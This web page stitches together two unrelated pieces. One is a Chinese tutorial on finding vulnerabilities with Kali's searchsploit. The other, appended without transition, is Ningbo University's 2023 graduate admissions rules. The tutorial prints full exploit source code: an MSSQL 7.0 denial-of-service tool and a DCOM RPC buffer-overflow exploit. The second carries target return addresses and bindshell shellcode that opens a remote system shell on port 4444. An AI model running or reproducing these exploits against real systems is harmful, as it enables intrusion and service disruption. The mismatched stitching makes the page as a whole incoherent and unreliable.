https:7xf6com

⑴ 利用kali查找網站漏洞教學

Searchsploit

本文來自 www.cnhackteam.org

Searchsploit會通過本地的exploit-db， 查找軟體漏洞信息

打開kali的命令行， 輸入：

searchsploit

查看系統幫助

查找mssql的漏洞

如果要查找 mssql的漏洞， 命令如下， 會找到所有和mssql相關的漏洞信息， 後面還有相關的漏洞描述信息：

searchsploit mssql

要看相關的漏洞描述， 如果要看mysql7.0的遠程DOS漏洞 ， 把漏洞描述後面的路徑用編輯器打開即可：

leafpad /usr/share/exploitdb/platforms/./windows/dos/562.c

文本文件裡面的內容為漏洞說明文件和漏洞利用文件：

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack

* By sending a large buffer with specified data an attacker can stop

the service

* "mssqlserver" the error noticed is different according to services'

pack but the result is always

* the same one.

* Exception Codes = c0000005

* vulnerable: MSSQL7.0 sp0 - sp1 - sp2 - sp3

* This code is for ecational purposes, I am not responsible for your acts

* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */ #include <stdio.h>

#include <winsock.h>

#pragma comment(lib,"ws2_32")

u_long resolv(char*);

void main(int argc, char **argv) {

WSADATA WinsockData;

SOCKET s; int i; struct sockaddr_in vulh; char buffer[700000]; for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16); if (argc!=3) {

printf(" MSSQL denial of service\n");

printf(" by securma massine\n");

printf("Cet outil a ete cree pour test ,je ne suis en aucun cas

responsable des degats que vous pouvez en faire\n");

printf("Syntaxe: MSSQLdos <ip> <port>\n");

exit(1);

}

WSAStartup(0x101,&WinsockData);

s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

ZeroMemory(&vulh,sizeof(vulh));

vulh.sin_family=AF_INET;

vulh.sin_addr.s_addr=resolv(argv[1]);

vulh.sin_port=htons(atoi(argv[2])); if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {

printf("Impossible de se connecter...le port est en generale 1433...\n");

exit(1);

}

{

send(s,buffer,sizeof(buffer),0);

printf("Data envoyes...\n");

}

printf("\nattendez quelques secondes et verifiez que le serveur ne

repond plus.\n");

closesocket(s);

WSACleanup();

}

u_long resolv(char *host_name) { struct in_addr addr; struct hostent *host_ent; if ((addr.s_addr = inet_addr(host_name)) == -1) { if (!(host_ent = gethostbyname(host_name))) {

printf ("Erreur DNS : Impossible de résoudre l'adresse %s

!!!\n",host_name);

exit(1);

}

CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);

} return addr.s_addr;

} // milw0rm.com [2004-09-29] View Code

查找和window XP有關的漏洞

searchsploit /xp

查看漏洞利用文件：

leafpad /usr/share/exploitdb/platforms/./windows/remote/66.c

/*

  DCOM RPC Overflow Discovered by LSD - Exploit Based on Xfocus's Code

  Written by H D Moore <hdm [at] metasploit.com>

  - Usage: ./dcom <Target ID> <Target IP>

  - Targets:

  -          0    Windows 2000 SP0 (english)

  -          1    Windows 2000 SP1 (english)

  -          2    Windows 2000 SP2 (english)

  -          3    Windows 2000 SP3 (english)

  -          4    Windows 2000 SP4 (english)

  -          5    Windows XP SP0 (english)

  -          6    Windows XP SP1 (english)

*/ #include <stdio.h> #include <stdlib.h> #include <error.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <unistd.h> #include <netdb.h> #include <fcntl.h> #include <unistd.h> unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00, 0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request1[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03 ,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00 ,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45 ,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E ,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D ,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41 ,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00 ,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45 ,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00 ,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00 ,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29 ,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00 ,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF ,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09 ,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00 ,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00 ,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00 ,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00 ,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03 ,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00 ,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E ,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00 ,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00 ,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00 ,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00 ,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00 ,0x00,0x00,0x00,0x00,0x00,0x00}; unsigned char request2[]={ 0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00 ,0x00,0x00,0x5C,0x00,0x5C,0x00}; unsigned char request3[]={ 0x5C,0x00 ,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00 ,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00 ,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00}; unsigned char *targets [] =

        { "Windows 2000 SP0 (english)", "Windows 2000 SP1 (english)", "Windows 2000 SP2 (english)", "Windows 2000 SP3 (english)", "Windows 2000 SP4 (english)", "Windows XP SP0 (english)", "Windows XP SP1 (english)", NULL }; unsigned long offsets [] =

        { 0x77e81674, 0x77e829ec, 0x77e824b5, 0x77e8367a, 0x77f92a9b, 0x77e9afe3, 0x77e626ba,

        }; unsigned char sc[]= "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00" "\x46\x00\x58\x00\x46\x00\x58\x00" "\xff\xff\xff\xff" /* return address */ "\xcc\xe0\xfd\x7f" /* primary thread data block */ "\xcc\xe0\xfd\x7f" /* primary thread data block */ /* port 4444 bindshell */ "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff" "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2" "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80" "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09" "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6" "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf" "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad" "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81" "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81" "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80" "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80" "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80" "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80" "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80" "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81" "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6" "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3" "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50" "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4" "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4" "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4" "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f" "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b" "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80" "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89" "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80" "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83" "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83" "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78" "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c" "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b" "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"; unsigned char request4[]={ 0x01,0x10 ,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00 ,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C ,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00 }; /* ripped from TESO code */ void shell (int sock) { int l; char buf[512];

        fd_set  rfds; while (1) {

                FD_SET (0, &rfds);

                FD_SET (sock, &rfds);

                select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) {

                        l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("\n - Connection closed by local user\n"); exit (EXIT_FAILURE);

                        }

                        write (sock, buf, l);

                } if (FD_ISSET (sock, &rfds)) {

                        l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("\n - Connection closed by remote host.\n"); exit (EXIT_FAILURE);

                        } else if (l < 0) { printf ("\n - Read failure\n"); exit (EXIT_FAILURE);

                        }

                        write (1, buf, l);

                }

        }

} int main(int argc, char **argv) { int sock; int len,len1; unsigned int target_id; unsigned long ret; struct sockaddr_in target_ip; unsigned short port = 135; unsigned char buf1[0x1000]; unsigned char buf2[0x1000]; printf("---------------------------------------------------------\n"); printf("- Remote DCOM RPC Buffer Overflow Exploit\n"); printf("- Original code by FlashSky and Benjurry\n"); printf("- Rewritten by HDM <hdm [at] metasploit.com>\n"); if(argc<3)

    { printf("- Usage: %s <Target ID> <Target IP>\n", argv[0]); printf("- Targets:\n"); for (len=0; targets[len] != NULL; len++)

        { printf("-          %d\t%s\n", len, targets[len]); 

        } printf("\n"); exit(1);

    } /* yeah, get over it :) */ target_id = atoi(argv[1]);

    ret = offsets[target_id]; printf("- Using return address of 0x%.8x\n", ret); memcpy(sc+36, (unsigned char *) &ret, 4);

    target_ip.sin_family = AF_INET;

    target_ip.sin_addr.s_addr = inet_addr(argv[2]);

    target_ip.sin_port = htons(port); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)

    {

        perror("- Socket"); return(0);

    } if(connect(sock,(struct sockaddr *)⌖_ip, sizeof(target_ip)) != 0)

    {

        perror("- Connect"); return(0);

    }

    len=sizeof(sc); memcpy(buf2,request1,sizeof(request1));

    len1=sizeof(request1);

    *(unsigned long *)(request2)=*(unsigned long *)(request2)+sizeof(sc)/2; 

    *(unsigned long *)(request2+8)=*(unsigned long *)(request2+8)+sizeof(sc)/2; memcpy(buf2+len1,request2,sizeof(request2));

    len1=len1+sizeof(request2); memcpy(buf2+len1,sc,sizeof(sc));

    len1=len1+sizeof(sc); memcpy(buf2+len1,request3,sizeof(request3));

    len1=len1+sizeof(request3); memcpy(buf2+len1,request4,sizeof(request4));

    len1=len1+sizeof(request4);

    *(unsigned long *)(buf2+8)=*(unsigned long *)(buf2+8)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0x10)=*(unsigned long *)(buf2+0x10)+sizeof(sc)-0xc; 

    *(unsigned long *)(buf2+0x80)=*(unsigned long *)(buf2+0x80)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0x84)=*(unsigned long *)(buf2+0x84)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0xb4)=*(unsigned long *)(buf2+0xb4)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0xb8)=*(unsigned long *)(buf2+0xb8)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0xd0)=*(unsigned long *)(buf2+0xd0)+sizeof(sc)-0xc;

    *(unsigned long *)(buf2+0x18c)=*(unsigned long *)(buf2+0x18c)+sizeof(sc)-0xc; if (send(sock,bindstr,sizeof(bindstr),0)== -1)

    {

            perror("- Send"); return(0);

    }

    len=recv(sock, buf1, 1000, 0); if (send(sock,buf2,len1,0)== -1)

    {

            perror("- Send"); return(0);

    }

    close(sock);

    sleep(1);

    target_ip.sin_family = AF_INET;

    target_ip.sin_addr.s_addr = inet_addr(argv[2]);

    target_ip.sin_port = htons(4444); if ((sock=socket(AF_INET,SOCK_STREAM,0)) == -1)

    {

        perror("- Socket"); return(0);

    } if(connect(sock,(struct sockaddr *)⌖_ip, sizeof(target_ip)) != 0)

    { printf("- Exploit appeared to have failed.\n"); return(0);

    } printf("- Dropping to System Shell...\n\n");

    shell(sock); return(0);

} // milw0rm.com [2003-07-26] View Code

查找apple的漏洞

searchsploit apple

⑵ 寧波大學2023年考研招生簡章

寧波大學2023年碩士研究生招生章程

一、招生計劃

2023年我校擬招收碩士研究生3667人（含推薦免試生、「退役大學生士兵」專項計劃、聯合培養計劃等），其中全日制3116人、非全日制551人。各專業最終招生人數將根據2023年國家正式下達的招生計劃數、推免生實際錄取情況以及統考生源情況作相應增減調整。實際接收推免生人數以最後推免服務系統確認的錄取人數為准。

三、報名

報名包括網上報名和網上確認兩個階段。所有參加碩士研究生招生考試的考生均須進行網上報名，並在網上確認網報信息和採集本人圖像等相關電子信息，同時按規定繳納報考費。

應屆本科畢業生原則上應選擇就讀學校所在地省級教育招生考試機構指定的報考點辦理網上報名和網上確認手續；其他考生（含工商管理、公共管理、旅遊管理等專業學位考生）應選擇工作所在地或戶口所在地省級教育招生考試機構指定的報考點。

（一）網上報名

1.網上報名時間：2022年10月5日至10月25日，每天9：00-22:00。

網上預報名時間：2022年9月24日至9月27日，每天9：00-22:00。

2.報名流程：

考生應在規定時間登錄「中國研究生招生信息網」（公網網址：https：//yz.chsi.com.cn ，教育網址：https://yz.chsi.cn，以下簡稱研招網）瀏覽報考須知，並按教育部、省級教育招生考試機構、報考點以及我校的相關要求報名。

報名期間，考生可自行修改網上報名信息或重新填報報名信息，但每位考生只能保留一條有效報名信息。逾期不再補報，也不得修改報名信息。

3.網上報名填寫報考信息時注意事項：

（1）考生只能填報我校的一個專業。待初試結束，教育部公布考生進入復試的初試成績基本要求後，考生可通過「研招網」調劑服務系統了解我校的調劑辦法、計劃余額等信息，並按相關規定填報調劑志願。

（2）考生應按我校相關要求如實填寫學習情況和提供真實材料。

（3）考生要准確填寫本人所受獎懲情況，特別是要如實填寫在參加普通和成人高等學校招生考試、全國碩士研究生招生考試、高等教育自學考試等國家教育考試過程中因違紀、作弊所受處罰情況。對弄虛作假者，將按照《國家教育考試違規處理辦法》和《普通高等學校招生違規行為處理暫行辦法》嚴肅處理。

（4）報名期間將對考生學歷（學籍）信息進行網上校驗，考生可上網查看學歷（學籍）校驗結果。考生可在報名前或報名期間自行登錄「中國高等教育學生信息網」（網址：https://www.chsi.com.cn）查詢本人學歷（學籍）信息。

未能通過學歷（學籍）網上校驗的考生應及時到學籍學歷權威認證機構進行認證，在復試前將認證報告交我校招生學院核驗。

（5）報考「退役大學生士兵」專項碩士研究生招生計劃的考生，應為高校學生應征入伍退出現役，且符合碩士研究生報考條件者〔高校學生指全日制普通本專科（含高職）、研究生、第二學士學位的應（往）屆畢業生、在校生和入學新生，以及成人高校招收的普通本專科（高職）應（往）屆畢業生、在校生和入學新生，下同〕。考生報名時應當選擇填報退役大學生士兵專項計劃，並按要求填報本人入伍前的入學信息以及入伍、退役等相關信息。

（6）符合規定條件並申請享受初試加分政策的考生，須在網上報名時按要求填報相關信息。

（7）考生應當認真了解並嚴格按照報考條件及相關政策要求填報志願並選擇報考點。因不符合報考條件及相關政策要求，造成後續不能網上確認、考試、復試或錄取的，後果由考生本人承擔。

（8）考生應當按要求准確填寫個人網上報名信息並提供真實材料。考生因網報信息填寫錯誤、填報虛假信息而造成不能考試（含初試和復試）或錄取的，後果由考生本人承擔。

（9）考生網上報名成功後，應通過定期查閱省級教育招生考試機構、報考點、招生單位官方網站等方式，主動了解考試安排、防疫要求等事項，積極配合完成相關工作。

（二）網上確認

1．所有考生（不含推免生）均應當在規定時間內在網上核對並確認其網上報名信息，逾期不再補辦。

2. 網上確認時間由各省級教育招生考試機構根據國家招生工作安排和本地區報考組織情況自行確定和公布，請考生及時關注。

3．考生網上確認時應當積極配合報考點工作人員，根據核驗工作需要，按要求提交本人居民身份證、學歷學位證書（應屆本科畢業生持學生證）和網上報名編號等，由報考點工作人員進行核對。

4. 所有考生均應當對其本人網上報名信息進行認真核對並確認。報名信息經考生確認後一律不作修改，因考生填寫錯誤引起的一切後果由其自行承擔。

5.考生應當按規定繳納報考費。

6.考生應當按報考點規定配合採集本人圖像等相關電子信息。

7.考生報名時須簽署《考生誠信考試承諾書》並遵守相關約定及要求。

8.網上確認的具體事項屆時詳見報考點通知。

四、考生報考資格審查

所有報考我校考生須仔細閱讀我校當年招生章程及招生目錄，詳細了解各專業的報考條件、考試科目、學制、備注等信息。我校對考生網上填報的報考信息進行全面審查，確定考生的考試資格。考生填報的報名信息與報考條件不符的，不得准予考試。

在復試前將對考生的有效身份證件、學歷學位證書、學歷學籍核驗結果、學生證等報名材料原件及考生資格進行嚴格審查，對不符合規定者，不予復試。

對未通過網上學歷（學籍）校驗的考生，我校要求其在復試前提供權威機構出具的認證證明。

對弄虛作假者（含推免生），不論何時，一經查實，即按有關規定取消報考資格、復試資格、錄取資格、入學資格或學籍。

五、初試

（一）列印准考證

考生應當在考前十天左右，憑網報用戶名和密碼登陸「研招網」自行下載列印《准考證》。《准考證》使用A4幅面白紙列印，正、反兩面在使用期間不得塗改或書寫。考生憑下載列印的《准考證》及有效居民身份證參加初試和復試。

（二）初試時間

2022年12月24日至12月25日（每天上午8:30-11:30，下午14:00-17:00）。

考試時間以北京時間為准。不在規定日期舉行的碩士研究生招生考試，國家一律不予承認。

（三）初試地點

考生網上確認的報考點指定的考試地點。

六、復試

（一）復試基本要求

達到教育部確定的全國碩士研究生招生考試初試成績基本要求。我校個別專業視上線生源情況，復試實際分數線可能會高於國家分數線的成績基本要求。

我校依據教育部有關政策自主確定並公布「退役大學生士兵」專項計劃考生進入復試的初試成績要求和接收其他招生單位該計劃考生調劑的初試成績要求。

（二）復試形式

復試是碩士研究生招生考試的重要組成部分，用於考查考生的創新能力、專業素養和綜合素質等，是碩士研究生錄取的必要環節，復試不合格者不予錄取。復試時間一般安排在2023年3-4月份，具體要求和程序見我校當年碩士研究生復試錄取辦法。

以同等學力身份（以報名時填報的信息為准）報考的考生〔除法律碩士（非法學）、工商管理碩士、公共管理碩士、旅遊管理碩士外〕，復試時須加試兩門與報考專業相關的本科主幹課程。加試科目不得與初試科目相同。加試方式為筆試。

七、調劑

調劑工作的具體要求和程序由我校按教育部錄取政策確定並公布。屆時，考生可通過研招網調劑服務系統填報調劑志願。

八、體檢

體檢參照教育部、原衛生部、中國殘聯印發的《普通高等學校招生體檢工作指導意見》（教學〔2003〕3號）要求，按照《教育部辦公廳 衛生部辦公廳關於普通高等學校招生學生入學身體檢查取消乙肝項目檢測有關問題的通知》（教學廳〔2010〕2號）等文件的要求執行。復試後擬錄取考生應到我校醫院或其他二級甲等以上（含二級甲等）醫院進行體格檢查，具體體檢時間另行通知。

九、錄取

（一）我校根據教育部下達的招生計劃、復試錄取辦法以及考生初試和復試成績、思想政治表現、身心健康狀況等擇優確定擬錄取名單。

我校將把考生考試誠信狀況作為思想政治素質和品德考核的重要內容和錄取的重要依據。對於思想品德考核不合格者，不予錄取。

（二）碩士研究生按其學習方式分為全日制和非全日制。碩士研究生按其就業方式分為非定向就業和定向就業：非定向就業的碩士研究生須於入學前在規定時間內將人事檔案、組織關系轉入我校；定向就業的碩士研究生應當在被錄取前與我校、用人單位分別簽訂定向就業合同，在校期間不轉人事檔案，不轉組織關系，不遷移戶口，學校不安排住宿，不負責就業及派遣等事宜。

（三）經考生確認的報考信息在錄取階段一律不作修改，對報考資格不符合規定者不予錄取。

（四）經我校錄取的研究生新生須在規定的期限內到校辦理報到入學手續。因故不能按時報到者，應憑有關證明事先向所在學院請假，請假期限為兩周，否則視為放棄入學資格。應屆本科畢業生及自學考試和網路教育屆時可畢業本科生考生，入學時未取得國家承認的本科畢業證書者，錄取資格無效。推免生未取得學士學位或本科畢業證書，或受到處分的，取消錄取資格。

